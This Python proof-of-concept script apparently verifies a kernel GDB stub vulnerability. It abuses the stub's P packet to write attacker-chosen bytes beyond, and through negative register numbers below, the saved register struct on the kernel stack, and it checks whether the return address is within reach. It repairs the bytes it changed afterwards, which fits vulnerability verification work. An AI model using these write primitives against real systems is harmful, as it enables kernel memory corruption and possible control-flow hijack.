#!/usr/bin/env python3 -u
# poc2361.py -- DF-2361 verification: P packet out-of-bounds stack write via
# NUM_REGS/struct mismatch (19 slots / 152 bytes) and missing regno lower bound.
#
# Verified against the REAL stub in the stock kernel:
#  S0  'g' reply = 304 hex chars => sizeof(struct x86_64regs) = 152 = 19 slots
#      while NUM_REGS=22 gates `regno < 22` only (gdbstub.c:569,442).
#  S1  locate &registers (A) on the stopped stack via the T05 rip/rbp/rsp
#      triple at struct offsets 128/48/56.
#  S2  P18 (offset 144) in-bounds control write.
#  S3  P19/P20/P21 -> attacker bytes at A+152/A+160/A+168, i.e. 0..24 bytes
#      PAST the 152-byte object; the struct itself untouched.
#  S4  P with regno = -1 (hex "ffffffff": hexToInt yields -1, passes
#      `regno < NUM_REGS`) -> attacker bytes at A-8.
#  S5  P with large negative regno (write at A-0x100, outside the frame
#      entirely -- same kernel stack page, unused area).
#  S6  frame autopsy: which slots 19/20/21 overlap (locals/saved regs),
#      where the return address into kdb_trap (0xffffffff80bcc8da) sits.
#  Everything repaired before detach; guest keeps running.
import sys, os, time, json
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from rig236 import Rig, ADDRS, hx
import rsp as rspmod

RET = ADDRS["kdb_call_ret"]          # expected return address into kdb_trap


def le(hexstr):
    """T05 fields are mem2hex of the register bytes -> little-endian."""
    return int.from_bytes(bytes.fromhex(hexstr), "little")

R = {}
rig = Rig("poc2361", "/tmp/opencode/df2361-raw.log")
p = rig.p
try:
    if False:
        pass
    t05 = rig.enter_stub()
    rsp = le(t05["07"])
    rip = le(t05["10"])
    rbp = le(t05["06"])

    r = p.pkt("?"); print("[+] '?' -> %r" % r)

    # S0: struct size proof
    g = p.pkt("g")
    R["g_len"] = len(g)
    R["sizeof_registers"] = len(g) // 2
    print("[S0] 'g' len=%d => sizeof(registers)=%d bytes = %d slots; NUM_REGS=22"
          % (len(g), len(g) // 2, len(g) // 16))

    # S1: locate A
    base = (rsp - 0x800) & ~7
    blob = p.read_mem(base, 0x880)
    A = None
    for off in range(0, len(blob) - 152, 8):
        if int.from_bytes(blob[off + 128:off + 136], "little") == rip and \
           int.from_bytes(blob[off + 56:off + 64], "little") == rsp and \
           int.from_bytes(blob[off + 48:off + 56], "little") == rbp:
            A = base + off
            break
    if A is None:
        print("[!] registers not located"); rig.detach(); sys.exit(2)
    R["registers_va"] = hex(A)
    R["rsp"] = hex(rsp)
    print("[S1] &registers = 0x%x (tf_rsp=0x%x, A-rsp=%d)" % (A, rsp, A - rsp))

    win_lo, win_hi = A - 0x40, A + 0x120
    before = p.read_mem(win_lo, win_hi - win_lo)

    def dump(tag, data):
        print("[%s] stack window 0x%x..0x%x:" % (tag, win_lo, win_hi))
        for i in range(0, len(data), 32):
            print("    0x%x (+%4d): %s" % (win_lo + i, win_lo + i - A,
                  data[i:i + 32].hex()))
    dump("before", before)

    def slot(addr, n=8):
        return p.read_mem(addr, n)

    def pwrite(regno_hex, datahex):
        return p.pkt("P%s=%s" % (regno_hex, datahex))

    # S2: in-bounds control (regno 18 dec = "12" hex -> cs/ss slot at +144)
    r = pwrite("12", "0011223344556677")
    b = slot(A + 144)
    R["P12_inbounds"] = (r == "OK" and b == bytes.fromhex("0011223344556677"))
    print("[S2] P12 (regno 18 dec, +144, in-bounds): reply=%r bytes=%s -> %s"
          % (r, b.hex(), R["P12_inbounds"]))
    # sanity: regno 0x19 (25 dec, past NUM_REGS upper bound) must be rejected
    r = pwrite("19", "cafebabe")
    R["P25_rejected"] = (r == "P01")
    print("[S2] P19-hex (regno 25 dec >= 22): reply=%r (rejected: %s)"
          % (r, R["P25_rejected"]))

    # S3: OOB above the struct (baseline re-taken after the in-bounds write)
    struct_base = p.read_mem(A, 152)
    for regno, off, marker in ((19, 152, "a1a2a3a4a5a6a7a8"),
                               (20, 160, "b1b2b3b4b5b6b7b8"),
                               (21, 168, "c1c2c3c4c5c6c7c8")):
        r = pwrite("%x" % regno, marker)
        b = slot(A + off)
        struct_ok = p.read_mem(A, 152) == struct_base
        R["P%d_oob" % regno] = (r == "OK" and b == bytes.fromhex(marker) and struct_ok)
        print("[S3] P%d (+%d, OOB past 152B struct): reply=%r bytes=%s struct_untouched=%s -> %s"
              % (regno, off, r, b.hex(), struct_ok, R["P%d_oob" % regno]))

    # S4: negative regno -- hexToInt has no sign rejection:
    # "ffffffff" -> regno = -1 (int); -1 < 22 passes; stub replies OK.
    # NOTE: A-8 is the spill slot for the handler's own `ptr` local
    # (holds 0xffffffff817a70d4 = &remcomInBuffer+0x14); every subsequent
    # packet re-assigns ptr there, so the marker write is transient by
    # construction. Acceptance is proven by the OK reply; the offset math
    # by the stable writes below.
    r = pwrite("ffffffff", "deadbeefbaadf00d")
    R["Pneg1_accepted"] = (r == "OK")
    print("[S4] Pffffffff (regno=-1): reply=%r -> hexToInt returned -1 and regno<22 PASSED (missing lower bound)" % r)
    transient = []
    for regno_hex, off in (("fffffff8", -64), ("fffffff0", -128)):
        mk = "aa55aa55aa55aa55" if off == -64 else "5a5a5a5a5a5a5a5a"
        r = pwrite(regno_hex, mk)
        b = slot(A + off)
        accepted = (r == "OK")
        transient.append((off, accepted, b.hex()))
        print("[S4] P%s (regno=%d -> A%+d): reply=%r post-packet bytes=%s (accepted=%s; slot is per-packet transient)"
              % (regno_hex, off // 8, off, r, b.hex(), accepted))
    R["Pneg_transients"] = transient

    # S5: far negative offset (A-0x100): stable slot, 256 bytes below the
    # struct, outside the spill area -- proves arbitrary negative offsets.
    tgt = A - 0x100
    old = slot(tgt)
    r = pwrite("ffffffe0", "eefeeefeeefeeefe")     # regno = -32
    b = slot(tgt)
    R["Pneg32_oob"] = (r == "OK" and b == bytes.fromhex("eefeeefeeefeeefe"))
    print("[S5] Pffffffe0 (regno=-32 -> A-0x100, 256 bytes below struct): reply=%r bytes=%s -> %s"
          % (r, b.hex(), R["Pneg32_oob"]))

    after = p.read_mem(win_lo, win_hi - win_lo)
    dump("after", after)

    # S6: frame autopsy -- where is the return address / what did we hit?
    autopsy = {"retaddr_slot": None, "slots_19_21_content": None}
    for i in range(0, len(before) - 8, 8):
        v = int.from_bytes(before[0x40 + i - 0x40:0x40 + i - 0x40 + 8], "little") if False else int.from_bytes(before[i:i + 8], "little")
        if v == RET:
            off = win_lo + i - A
            autopsy["retaddr_slot"] = off
    autopsy["slots_19_21_content"] = {
        "+152": hex(int.from_bytes(before[0x40 + 152:0x40 + 160], "little")),
        "+160": hex(int.from_bytes(before[0x40 + 160:0x40 + 168], "little")),
        "+168": hex(int.from_bytes(before[0x40 + 168:0x40 + 176], "little")),
    }
    R["autopsy"] = autopsy
    print("[S6] return address into kdb_trap (0x%x) found at A%+d %s"
          % (RET, autopsy["retaddr_slot"] or 0,
             "(REACHABLE by regno 19/20/21!)" if autopsy["retaddr_slot"] in (152, 160, 168)
             else "(NOT within regno 19/20/21 reach)" if autopsy["retaddr_slot"] is not None
             else "(not found in window)"))
    print("[S6] original qwords above struct: %s" % autopsy["slots_19_21_content"])

    # repair everything we touched
    reps = [
        (A + 144, before[0x40 + 144:0x40 + 152]),
        (A + 152, before[0x40 + 152:0x40 + 160]),
        (A + 160, before[0x40 + 160:0x40 + 168]),
        (A + 168, before[0x40 + 168:0x40 + 176]),
        (A - 0x40, None),   # handled below (stable negative offsets)
        (A - 0x80, None),
        (A - 0x100, old),
    ]
    allok = True
    for addr, data in reps:
        if data is None:
            continue
        allok &= p.write_mem(addr, data)
    # per-slot verify (frame contains per-packet transient spill slots,
    # so only the touched slots are compared)
    checks = [
        (A + 144, before[0x40 + 144:0x40 + 152]),
        (A + 152, before[0x40 + 152:0x40 + 160]),
        (A + 160, before[0x40 + 160:0x40 + 168]),
        (A + 168, before[0x40 + 168:0x40 + 176]),
        (A - 0x100, old),
    ]
    fixed = all(p.read_mem(a, len(d)) == d for a, d in checks)
    R["repaired"] = bool(allok and fixed)
    print("[%s] repair verified (per-slot): %s" % ("+" if R["repaired"] else "-", R["repaired"]))

    d = rig.detach()
    R["detach"] = d
except Exception as e:
    import traceback
    traceback.print_exc()
    try:
        rig.detach()
    except Exception:
        pass
finally:
    rig.close()

R["pass"] = bool(R.get("g_len") == 304 and R.get("P12_inbounds") and R.get("P25_rejected")
                 and R.get("P19_oob") and R.get("P20_oob") and R.get("P21_oob")
                 and R.get("Pneg1_accepted") and R.get("Pneg32_oob")
                 and R.get("repaired"))
print("[RESULT] " + json.dumps(R))
sys.exit(0 if R["pass"] else 1)